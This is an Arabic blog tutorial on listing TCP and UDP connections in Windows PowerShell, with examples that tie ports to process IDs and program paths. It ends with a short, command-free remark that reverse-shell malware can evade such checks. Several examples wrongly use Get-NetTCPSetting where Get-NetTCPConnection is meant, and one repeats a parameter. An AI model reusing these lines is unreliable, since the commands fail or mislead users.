و هذا ترتيب هذه الحالات بحسب الاسم المستخدم في Powershell :
  1. FinWait1
  2. CloseWait
  3. FinWait2
  4. LastAck
  5.   TimeWait
  6. Closing - حالة انتقالية تخص نظام التشغيل عندما يحاول اغلاق الاتصال
  7. Closed
 قد تتساءل عن سبب وجود هذه الحالات المتعددة للاتصال في بروتوكول TCP , السبب هو انه تم تصميم هذا البروتوكول لضمان وصول جميع البيانات مهما كلف الأمر. 

هناك حالة واحدة لم اتطرق لها بالاسم DeleteTCB و TCB اختصار لـ(Transmission control block) و وفقاُ لموقع  
ietf.com  في TCB هو بيانات الاتصال المحفوظة على الجهاز و التي تحتوي جميع بيانات الاتصال , و بعد أغلاق الاتصال يتم تحرير هذه الذاكرة , و لكن لم يمر على أي اتصال في هذه الحالة , لا اعلم السبب بالتحديد و لكن أتوقع بأن العملية تتم بسرعة في يتمكن الامر من اعادة أي اتصال في هذه الحالة , طبعا هذا مجرد افتراضية .
 
و الأن سننتقل إلى السطر الخاص بالإعدادات الخاصة بالاتصال :
 

هذه العمود خاص بقوالب للاعدادات برتوكول TCP , تسطيع التحكم من خلالها بإعدادت البرتوكول , لعرض القوالب الموجودة في نظامك اكتب الامر التالي :
 
Get-NetTCPSetting | more

هذه الإعدادت تخص وقت الإستجابة (Network latency) و التعامل مع إزدحام الشبكة (congestion) و تخصيص وقت إنهاء الاتصال , هذا الموضوع سأفرد له موضوع كامل في المستقبل القريب ( أن شاء الله ) .
 
و العمود الأخير و هو OwingProcess و هو معرف العملية (Process Id) التي قامت بفتح المنفذ .

هذا المعرف سيمكنك من التعرف على البرنامج الذي قام بأنشاء الاتصال .


والأن بعدما تعرف على الأمر بشكل عام سنعرض بعض الأمثلة التي ستفيدك :
 
  • عرض الاتصالات بشكل تدريجيا
 
Get-NetTCPSetting | more

 
  •  عرض الاتصالات بحسب الحالة :
     
    Get-NetTCPSetting -state CloseWait 
    

    قائمة بالحالات الموجودة في PowerShell:
    1. Bound
    2. Closed
    3. CloseWait
    4. Closing
    5. DeleteTCB
    6. Established
    7. FinWait1
    8. FinWait2
    9. LastAck
    10. Listen
    11. SynReceived
    12. SynSent
    13. TimeWait 
     

    •  عرض الاتصالات بحسب معرف البرنامج (PID) :
     
     لنفترض أنك تريد أن تعرف الاتصالات التي تحصل من جهازك و البرنامج التي تستخدم هذه الاتصالات يوفر الأمر اختيار لعرض الاتصالات بحسب رقم معرف العملية (PID) :
     
    Get-NetTCPSetting -OwningProcess ProcessIDNumber 
    

    لكنني سوف اعطيك طريقة أعتقد بأنها أفضل بكثير من أنك تبحث بشكل يدوي على رقم المعرف , أنظر لها الأمر التالي:

     
    Get-Process -Id (Get-NetTCPConnection -State Established ).OwningProcess
    

    هنا سيعرض جميع البرامج التي تمتلك اتصالات في حالة اتصال (Established) , كما تستطيع تغير الحاله كما تريد كمثال التالي لعرض البرامج التي تتنظر الاتصال (Listen):
    Get-Process -Id (Get-NetTCPConnection -State Listen ).OwningProcess
    


     و الأن لنجعل الأمر اكثر تحديد و نحصل على الاتصالات الجارية (Established) على المنفذ 443 (HTTPS) :
     
    Get-Process -Id (Get-NetTCPConnection -State Established -RemotePort 443 ).OwningProcess
    


     و الأن لهذا المثال الذي سيظهر لك وقت بدأ الاتصالات في حالة Established و ترتيبه بحسب الوقت :
     
    Get-NetTCPConnection -State Established | Sort-Object CreationTime |Format-Table local*,remote*,State,CreationTime
    

    تراه هنا القوة و المرونة التي تعطيك لغة Powershell , تستطيع القيام بتعديل المخرجات بحسب ما تريده , يجب أن انبه على مشكلة في بعض المعطيات بهذا الأمر خاصة , في بعض الحالات لا يقوم النظام بتعديل القيمة الخاصة بوقت الإنشاء فتحصل على الوقت :
    1/1/1601 4:00:00 AM


    طبعا هنالك الأوامر الأبسط مثل تحديد عنوان أو منفذ كان محلي أو خارجي باستخدام هذه الأوامر :

    • Get-NetTCPConnection  -LocalPort 443 
    • Get-NetTCPConnection -LocalAddress 127.0.0.1
    • Get-NetTCPConnection -RemotePort 443
    •  Get-NetTCPConnection -RemoteAddress 8.8.8.8
     
    تستطيع أن تحدد مثل نوع الحالة مع المنفذ و العنوان :
     
    Get-NetTCPConnection -State Listen -LocalPort 139 -LocalAddress 127.0.0.1 -State Listen
    
     
    و الأن إلى المثال الأخير الذي سيطبع لك مسار البرنامج و معرف العملية و تاريخ الإنشاء مع المنفذ :

    Get-NetTCPConnection |Select-Object LocalPort,OwningProcess,CreationTime,@{name='ProcessName';expression={(Get-Process -Id $_.OwningProcess).Path}}
    
     
     
    و الأن إلى الأمر الخاص ببرتوكول UDP , طبعا هنالك اختلاف جوهري في التصميم ما بين برتوكول TCP و برتوكول UDP , كما لاحظت في برتوكول TCP فهنالك الكثير من الحالات و التحقق من بدأ الاتصال و عملية لبدأ الاتصال و أنهاءه , أما في برتوكول UDP فتم تصميمه بطريقة (Fire and Forget) , فالمرسل للبيانات يرسلها بدون الاهتمام بوصول البيانات و الطرف الثاني يكون في حالة واحده فقط و هي Listen  و الهدف من هذا هو السرعة لذا يستخدم في تطبيقات الوسائط عبر الانترنت .
     
    الأمر التالي يعرض لك المنافذ في وضعية Listen :
     
    Get-NetUDPEndpoint
     
    سترى هذا القائمة التي تظهر فقط العنوان و المنفذ المحلي :
     

     
     و الأن إلى الأمر الذي سيعرض لنا تاريخ الإنشاء ومعرف العملية للبرنامج ( PID ) :

    Get-NetUDPEndpoint  | select local*,CreationTime,OwningProcess
     
     و لمعرفة اسماء العمليات (PID) سنستخدم هذا الأمر :

    Get-Process -id (Get-NetUDPEndpoint).OwningProcess
     
     و الأن للمثال الأخير :
     
    Get-NetUDPEndpoint |Select-Object LocalPort,OwningProcess,CreationTime,@{name='ProcessName';expression={(Get-Process -Id $_.OwningProcess).Path}}
     
    هذه نسخة الأمر الخاصة UDP المشابه لذي استخدمناه في برتوكول TCP , سيتم طباعة تاريخ الإنشاء و مسار البرنامج و معرف العملية (PID) و المنفذ المحلي .
     
    و الأن في الختام أريد أن اجيب على سؤال تكرر في المدونة , وهو كيف أعرف من هذه المعطيات بأنه تم أختراق جهازي ؟ , الجواب مع تطور عمليات الأختراق اصبح الأمر ليس بالسهولة كما في كان في السابق , لكن قد يفيد في حالة أن المخترق يستخدم برنامج مستقل و قام بأنشاء خادم في جهازك يتصنت على أحد المنافذ , لكم ماذا لو كان المخترق محترفا و قام باستخدام ثغرة في احد البرامج الموجودة على جهازك , فعندما تقوم بالتدقيق فيظهر لك بأن البرنامج الذي يحاول الاتصال هو احد برامج المعروفة لديك , لذا فالتأكيد وجود أختراق لجهازك يتطلب أكثر من هذا الأمر , كما ان الكثير من برامج الاختراق تقوم بالاتصال بخوادم ويب (HTTPS) بدل أن تقوم بتنصت على منفذ على جهازك (Reverse Shell) كما أن البيانات المرسلة مشفرة فيصعب اعتراضها و تحليلها .